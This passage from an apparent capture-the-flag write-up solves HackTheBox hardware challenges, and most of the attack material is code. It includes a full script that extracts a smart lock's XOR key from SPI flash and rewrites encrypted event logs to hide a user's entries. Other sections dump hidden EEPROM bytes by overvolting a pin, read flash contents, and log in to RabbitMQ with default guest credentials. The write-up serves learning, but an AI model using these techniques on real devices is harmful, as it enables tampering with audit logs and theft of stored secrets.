    return EventLog(timestamp, event_type, user_id, method, status)

# Read event_log from spiflash
def read_event_log(address):
    addr = [b for b in p32(address)[::-1][1:]] # 24 byte

    # CMD_READ(addr, len)
    # sizeof(SmartLockEvent) is 0xc (not 0x9 because of compiler struct padding)
    # sizeof(crc32) is 0x4
    out = read_data(addr, 0xc+0x4)

    enc_log = out[:0xc]
    crc32_log = u32(out[0xc:])
    if enc_log == b'\xff'*0xc:
        # Invalid log (data in the specified address is clean)
        return 0, 0, False

    # Decrypt encrypted event_log with the key that we retrieved
    raw_log = decrypt(enc_log)

    assert crc32(raw_log) == crc32_log

    # Parse log to help our life easier
    event_log =  parse_log(raw_log)
    return event_log, crc32_log, True

event_logs = {}
# There are 160 logs based on testing manually 
# (also the event log for user_id 0x5244 start from idx 156)
print(f'Search for user_id 0x5244 event_logs')
for i in range(0, 160):
    print('----')
    print(f'log-{i}...')
    event_log, crc32_log, is_valid = read_event_log(i*0x10)
    if not is_valid:
        break
    event_log.out()
    if event_log.user_id == 0x5244:
        event_logs[i] = event_log
print('---')

The script iterates through encrypted logs, moving 0x10 bytes at a time (since each log, including CRC32, is 0x10 bytes long), decrypting them with the key. Logs from event_logs[156] to event_logs[159] were identified as the user 0x5244’s entries logs and needed to be changed.

Changing these logs was relatively simple with the encryption key. The script below was used for constructing the altered data:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Notes that later, we need to erase the whole sector of spiflash (4096 bytes)
# before we can overwrite the event_log of user id 0x5244.
# So, let's recover the data first.
# Read raw data 160 * 0x10 starting from address 0
raw_data = bytes(exchange([CMD_READ, 0x00, 0x00, 0x00], 160*0x10))

# From preious output, we know that data 156-159 contains user_id 0x5244.
# Let's alter it
print(f'Start constructing new data...')
altered_data = b''
for event_idx, val in event_logs.items():
    val.user_id = 0x23f # Change user_id

    # serialize and encrypt
    new_data = val.serialize()
    crc_32_bytes = p32(crc32(new_data))
    enc_data = encrypt(new_data)+crc_32_bytes
    assert len(enc_data) == 0x10
    altered_data+=enc_data

new_raw_data = raw_data[:156*0x10] + altered_data
assert len(raw_data) == len(new_raw_data)

What I did above is that I encrypted the new event data, appended the original CRC32, and read all the raw_data of the encrypted logs before making any changes.

Reading the whole event data is crucial because the Page Program instruction (Section 8.2.15) only allows writing to previously erased memory locations.

Erasing a memory location involves the Sector Erase instruction (Section 8.2.17), which erases a whole sector (about 4096 bytes), which means the other logs will be deleted as well. Hence, we need to read all event logs first, so that later after we erases the whole sector, we can write back the encrypted event logs.

After preparing the altered data, the final step was to rewrite the flash memory sector with our crafted data. It’s important to use the Write Enable instruction (Section 8.2.1) before each erase or write operation. Combining all these scripts, we will be able to fetch the flag after it finishes. Below is the full script that I used to solve this challenge:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
import socket
import json

FLAG_ADDRESS = [0x52, 0x52, 0x52]

def exchange(hex_list, value=0):

    # Configure according to your setup
    host = '83.136.252.62'  # The server's hostname or IP address
    port = 49500        # The port used by the server
    cs=0 # /CS on A*BUS3 (range: A*BUS3 to A*BUS7)
    
    usb_device_url = 'ftdi://ftdi:2232h/1'

    # Convert hex list to strings and prepare the command data
    command_data = {
        "tool": "pyftdi",
        "cs_pin":  cs,
        "url":  usb_device_url,
        "data_out": [hex(x) for x in hex_list],  # Convert hex numbers to hex strings
        "readlen": value
    }
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        
        # Serialize data to JSON and send
        s.sendall(json.dumps(command_data).encode('utf-8'))
        
        # Receive and process response
        data = b''
        while True:
            data += s.recv(1024)
            if data.endswith(b']'):
                break
                
        response = json.loads(data.decode('utf-8'))
        #print(f"Received: {response}")
    return response

# SOLVER
from pwn import p32, u32, p16, u16, p8, u8
from zlib import crc32
from datetime import datetime

class EventLog:
    timestamp = 0
    event_type = 0
    user_id = 0
    method = 0
    status = 0
    def __init__(self, timestamp, event_type, user_id, method, status):
        self.timestamp = timestamp
        self.event_type = event_type
        self.user_id = user_id
        self.method = method
        self.status = status
    def out(self):
        print(f'''
        timestamp : {self.timestamp} ({datetime.fromtimestamp(self.timestamp)})
        event_type: {self.event_type}
        user_id   : {hex(self.user_id)}
        method    : {self.method}
        status    : {self.status}
        ''')
    def serialize(self):
        return p32(self.timestamp) + p16(self.event_type) + p16(self.user_id) + p8(self.method) + p8(self.status) + p16(0)

# COMMANDS
CMD_READ_SEC_REG = 0x48
CMD_READ = 0x3
CMD_WRITE_ENABLE = 0x6
CMD_SECTOR_ERASE = 0x20
CMD_PAGE_PROGRAM = 0x02

KEY_SIZE = 12

# Helper
# read_data format: addr is array of 3 bytes, size is int
def read_data(addr, size):
    return bytes(exchange([CMD_READ]+addr, size))

# Example command
jedec_id = exchange([0x9F], 3)
print(f'jedec_id = {bytes(jedec_id)}')

# Print flag (This will return 0xFFFFFFFFF because we haven't altered the log yet)
flag = read_data(FLAG_ADDRESS, 0x30)
print(f'{flag = }')

# Do read_security_register(1, 0x52, KEY_SIZE)
key = exchange([CMD_READ_SEC_REG, 0x00, 0x01 << 4, 0x52], 12)
print(f'key = {bytes(key)}')

# Define decrypt and encrypt functions
def decrypt(data):
    dec_data = []
    for i in range(len(data)):
        dec_data.append(data[i]^key[i%KEY_SIZE])
    return bytes(dec_data)

def encrypt(data):
    enc_data = []
    for i in range(len(data)):
        enc_data.append(data[i]^key[i%KEY_SIZE])
    return bytes(enc_data)

# Convert raw_event_log to EventLog class
def parse_log(event_log):
    timestamp = u32(event_log[:4])
    event_type = u16(event_log[4:6])
    user_id = u16(event_log[6:8])
    method = u8(event_log[8:9])
    status = u8(event_log[9:10])
    return EventLog(timestamp, event_type, user_id, method, status)

# Read event_log from spiflash
def read_event_log(address):
    addr = [b for b in p32(address)[::-1][1:]] # 24 byte

    # CMD_READ(addr, len)
    # sizeof(SmartLockEvent) is 0xc (not 0x9 because of compiler struct padding)
    # sizeof(crc32) is 0x4
    out = read_data(addr, 0xc+0x4)

    enc_log = out[:0xc]
    crc32_log = u32(out[0xc:])
    if enc_log == b'\xff'*0xc:
        # Invalid log (data in the specified address is clean)
        return 0, 0, False

    # Decrypt encrypted event_log with the key that we retrieved
    raw_log = decrypt(enc_log)

    assert crc32(raw_log) == crc32_log

    # Parse log to help our life easier
    event_log =  parse_log(raw_log)
    return event_log, crc32_log, True


event_logs = {}
# There are 160 logs based on testing manually 
# (also the event log for user_id 0x5244 start from idx 156)
print(f'Search for user_id 0x5244 event_logs')
for i in range(156, 160):
    print('----')
    print(f'log-{i}...')
    event_log, crc32_log, is_valid = read_event_log(i*0x10)
    if not is_valid:
        break
    event_log.out()
    if event_log.user_id == 0x5244:
        event_logs[i] = event_log
print('---')

# Notes that later, we need to erase the whole sector of spiflash (4096 bytes)
# before we can overwrite the event_log of user id 0x5244.
# So, let's recover the data first.
# Read raw data 160 * 0x10 starting from address 0
raw_data = bytes(exchange([CMD_READ, 0x00, 0x00, 0x00], 160*0x10))

# From preious output, we know that data 156-159 contains user_id 0x5244.
# Let's alter it
print(f'Start constructing new data...')
altered_data = b''
for event_idx, val in event_logs.items():
    val.user_id = 0x23f # Change user_id

    # serialize and encrypt
    new_data = val.serialize()
    crc_32_bytes = p32(crc32(new_data))
    enc_data = encrypt(new_data)+crc_32_bytes
    assert len(enc_data) == 0x10
    altered_data+=enc_data

new_raw_data = raw_data[:156*0x10] + altered_data
assert len(raw_data) == len(new_raw_data)

# print(new_raw_data)

# Start alter data...
# Erase sector
print(f'Erase sector 0...')
exchange([CMD_WRITE_ENABLE])
exchange([CMD_SECTOR_ERASE, 0x00, 0x00, 0x00]) # Delete sector 0

# Assertion check
print(f'Assert that sector 0 is erased')
raw_data = read_data([0x00, 0x00, 0x00], 0x10)
assert raw_data == b'\xFF'*0x10

# Start rewrite the spiflash data
print(f'Start rewrite data. We can only write 256 bytes per cmd')
for i in range(0, len(new_raw_data), 256):
    print(f'Writing data[{i}:{i+256}]...')
    addr = [b for b in p32(i)[::-1][1:]]
    data = [b for b in new_raw_data[i:i+256]]
    exchange([CMD_WRITE_ENABLE])
    exchange([CMD_PAGE_PROGRAM]+addr+data)

# Print flag
print(f'Fetch flag :)')
flag = read_data(FLAG_ADDRESS, 0x30)
print(f'{flag = }')

After successfully modifying the event logs, as per the challenge setup and the provided client.py, the flag was made available at the address [0x52, 0x52, 0x52]. Here’s how it looked when we executed the script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
python client.py
jedec_id = b'\xef@\x18'
flag = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
key = b'9\xdej\x99&]\xfe\x89l\x06HS'
Search for user_id 0x5244 event_logs
----
log-156...

        timestamp : 1712702755 (2024-04-10 05:45:55)
        event_type: 214
        user_id   : 0x5244
        method    : 1
        status    : 1

----
log-157...

        timestamp : 1712714687 (2024-04-10 09:04:47)
        event_type: 187
        user_id   : 0x5244
        method    : 3
        status    : 1

----
log-158...

        timestamp : 1712723427 (2024-04-10 11:30:27)
        event_type: 187
        user_id   : 0x5244
        method    : 3
        status    : 1

----
log-159...

        timestamp : 1712750575 (2024-04-10 19:02:55)
        event_type: 214
        user_id   : 0x5244
        method    : 3
        status    : 1

---
Start constructing new data...
Erase sector 0...
Assert that sector 0 is erased
Start rewrite data. We can only write 256 bytes per cmd
Writing data[0:256]...
Writing data[256:512]...
Writing data[512:768]...
Writing data[768:1024]...
Writing data[1024:1280]...
Writing data[1280:1536]...
Writing data[1536:1792]...
Writing data[1792:2048]...
Writing data[2048:2304]...
Writing data[2304:2560]...
Fetch flag :)
flag = b'HTB{n07h1n9_15_53cu23_w17h_phy51c41_4cc355!@}\xff\xff\xff'

Flag: HTB{n07h1n9_15_53cu23_w17h_phy51c41_4cc355!@}

The PROM [medium]

Description
After entering the door, you navigate through the building, evading guards, and quickly locate the server room in the basement. Despite easy bypassing of security measures and cameras, laser motion sensors pose a challenge. They’re controlled by a small 8-bit computer equipped with AT28C16 a well-known EEPROM as its control unit. Can you uncover the EEPROM’s secrets?

Initial Analysis

In this challenge, while no files were provided, we can spawn an instance for interacting with the specified hardware, the AT28C16 EEPROM. Our first step was to establish a connection to this instance.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
nc 83.136.250.41 52004

      AT28C16 EEPROMs
       _____   _____
      |     \_/     |
A7   [| 1        24 |] VCC
A6   [| 2        23 |] A8
A5   [| 3        22 |] A9
A4   [| 4        21 |] !WE
A3   [| 5        20 |] !OE
A2   [| 6        19 |] A10
A1   [| 7        18 |] !CE
A0   [| 8        17 |] I/O7
I/O0 [| 9        16 |] I/O6
I/O1 [| 10       15 |] I/O5
I/O2 [| 11       14 |] I/O4
GND  [| 12       13 |] I/O3
      |_____________|

> help

Usage:
  method_name(argument)

EEPROM COMMANDS:
  set_address_pins(address)  Sets the address pins from A10 to A0 to the specified values.
  set_ce_pin(volts)          Sets the CE (Chip Enable) pin voltage to the specified value.
  set_oe_pin(volts)          Sets the OE (Output Enable) pin voltage to the specified value.
  set_we_pin(volts)          Sets the WE (Write Enable) pin voltage to the specified value.
  set_io_pins(data)          Sets the I/O (Input/Output) pins to the specified data values.
  read_byte()                Reads a byte from the memory at the current address.
  write_byte()               Writes the current data to the memory at the current address.
  help                       Displays this help menu.

Examples:
  set_ce_pin(3.5)
  set_io_pins([0, 5.1, 3, 0, 0, 3.1, 2, 4.2])

>

The connection provided us with a list of available commands, indicating that the EEPROM emulator is storing the flag we’re after.

Solution

As usual, I began by searching the EEPROM’s documentation. I found a good resource that detailed the correct interaction methods with the EEPROM. According to the document:

1
2
3
4
5
6
7
READ: The AT28C16 is accessed like a Static RAM.
When CE and OE are low and WE is high, the data stored
at the memory location determined by the address pins is
asserted on the outputs. The outputs are put in a high
impedance state whenever CE or OE is high. This dual line
control gives designers increased flexibility in preventing
bus contention. 

So, to read data, we need to:

  • Use set_ce_pin(0) to set the Chip Enable (CE) pin low,
  • Use set_oe_pin(0) to set the Output Enable (OE) pin low,
  • Use set_we_pin(5) to set the Write Enable (WE) pin high,
  • And use set_address_pins(addr) to choose the reading address.
    • For setting an address, for instance, if we aim to read from address 0x2, we need to set the A1 pin high (e.g., to 5V), and the rest low, to represent 0x2 in binary (00000000010).
    • The EEPROM’s address space spans 11 bits (A10 - A0), ranging from 0x000 to 0x7ff.

Below is the script that we create to read the data:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

r = remote('94.237.60.39', 55024)

def set_address_pins(address):
    cmd = f'set_address_pins({str(address)})'.encode()
    # print(cmd)
    r.sendlineafter(b'> ', cmd)

def set_ce_pin(val):
    cmd = f'set_ce_pin({val})'.encode()
    # print(cmd)
    r.sendlineafter(b'> ', cmd)
    
def set_oe_pin(val):
    cmd = f'set_oe_pin({val})'.encode()
    # print(cmd)
    r.sendlineafter(b'> ', cmd)

def set_we_pin(val):
    cmd = f'set_we_pin({val})'.encode()
    # print(cmd)
    r.sendlineafter(b'> ', cmd)

def read_byte():
    r.sendlineafter(b'> ', b'read_byte()')
    return r.recvline().strip()

def read_data(_addr):
    bits = bin(_addr)[2:].rjust(11, '0')
    addr = [int(ch)*5 for ch in bits]
    set_address_pins(addr)
    out = read_byte().strip(b'> ')
    val = int(out.split(b' ')[1], 16)
    return val

# Setup read mode
set_ce_pin(0)
set_oe_pin(0)
set_we_pin(5)

for i in range(0, 0x800):
    val = read_data(i)
    print(i, val)

Initially, I attempted to sequentially read data from address 0x000 to 0x7ff. However, this method yielded no useful data, as all responses were 0.

Upon a second review of the documentation, I uncovered a crucial detail suggesting the presence of additional EEPROM memory.

1
2
3
4
5
DEVICE IDENTIFICATION: An extra 32 bytes of
EEPROM memory are available to the user for device identification. By raising A9 to 12 ± 0.5V and using address
locations 7E0H to 7FFH the additional bytes may be written
to or read from in the same manner as the regular memory
array.

To access this, I adjusted the script to set the A9 pin to 12.5V.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def read_secret_data(_addr):
    bits = bin(_addr)[2:].rjust(11, '0')
    addr = [int(ch)*5 for ch in bits]
    addr[1] = 12.5 # Set A9 to 12.5 to access extra 32 bytes data storage
    set_address_pins(addr)
    out = read_byte().strip(b'> ')
    val = int(out.split(b' ')[1], 16)
    return val

flag = []
for i in range(0x7e0, 0x800):
    val = read_secret_data(i)
    flag.append(val)
    print(f'{bytes(flag) = }')

This adjustment was based on my hypothesis that the flag resided in this hidden memory section. My speculation proved accurate when the flag was successfully retrieved from this concealed storage area.

Flag: HTB{AT28C16_EEPROM_s3c23t_1d!!!}

Rids [easy]

Description
Upon reaching the factory door, you physically open the RFID lock and find a flash memory chip inside. The chip’s package has the word W25Q128 written on it. Your task is to uncover the secret encryption keys stored within so the team can generate valid credentials to gain access to the facility.

Initial Analysis

In this challenge, we were provided with a file named client.py, a utility crafted by the author to facilitate interaction with the hardware in question.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
import json

def exchange(hex_list, value=0):

    # Configure according to your setup
    host = '94.237.50.175'  # The server's hostname or IP address
    port = 38795        # The port used by the server
    cs=0 # /CS on A*BUS3 (range: A*BUS3 to A*BUS7)
    
    usb_device_url = 'ftdi://ftdi:2232h/1'

    # Convert hex list to strings and prepare the command data
    command_data = {
        "tool": "pyftdi",
        "cs_pin":  cs,
        "url":  usb_device_url,
        "data_out": [hex(x) for x in hex_list],  # Convert hex numbers to hex strings
        "readlen": value
    }
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        
        # Serialize data to JSON and send
        s.sendall(json.dumps(command_data).encode('utf-8'))
        
        # Receive and process response
        data = b''
        while True:
            data += s.recv(1024)
            if data.endswith(b']'):
                break
                
        response = json.loads(data.decode('utf-8'))
        #print(f"Received: {response}")
    return response


# Example command
jedec_id = exchange([0x9F], 3)
print(bytes(jedec_id))

The objective appears to be reading data stored on the hardware, which is identified as a SPI flash memory model W25Q128.

Solution

After searching the documentation for this specific flash memory, I found a useful resource which elaborates on its functionality. Particularly, section 8.2.6 mentions a read command, denoted by the instruction code 0x03. This command allows us to specify a starting address in the form of a 24-bit address under the A23-A0 notation. Utilizing the provided client.py, we can easily configure an array of 4 bytes for this operation: the first byte for the instruction code and the subsequent three bytes for the 24-bit address, each represented in 8-bit segments.

1
2
flag = exchange([0x03, 0x00, 0x00, 0x00], 256)
print(bytes(flag))

This code snippet sends the read command to the hardware, starting from address 0x000000, and reads 256 bytes of data, which contains the flag.

Flag: HTB{m3m02135_57023_53c2375_f02_3v32y0n3_70_533!@}

BunnyPass [very easy]

Description
As you discovered in the PDF, the production factory of the game is revealed. This factory manufactures all the hardware devices and custom silicon chips (of common components) that The Fray uses to create sensors, drones, and various other items for the games. Upon arriving at the factory, you scan the networks and come across a RabbitMQ instance. It appears that default credentials will work.

Solution

Reading through the challenge description, we know that the instance that we spawn is a RabbitMQ instance. Because it is stated that default credentials will work, we can login to the instance by using guest:guest pair.

Then, we can check the available queues. One queue named factory_idle is quite interesting, so I decided to open it and check all of its messages (Click the queue, then click the Get messages).

As we can see, the last message contains the flag.

Flag: HTB{th3_hunt3d_b3c0m3s_th3_hunt3r}

Maze [very easy]

Description
In a world divided by factions, “AM,” a young hacker from the Phreaks, found himself falling in love with “echo,” a talented security researcher from the Revivalists. Despite the different backgrounds, you share a common goal: dismantling The Fray. You still remember the first interaction where you both independently hacked into The Fray’s systems and stumbled upon the same vulnerability in a printer. Leaving behind your hacker handles, “AM” and “echo,” you connected through IRC channels and began plotting your rebellion together. Now, it’s finally time to analyze the printer’s filesystem. What can you find?

Solution

We received a zip file, and upon extracting its contents, we discovered a PDF. Inside this PDF, we found the flag.

Flag: HTB{1n7323571n9_57uff_1n51d3_4_p21n732}

Social Media

Follow me on twitter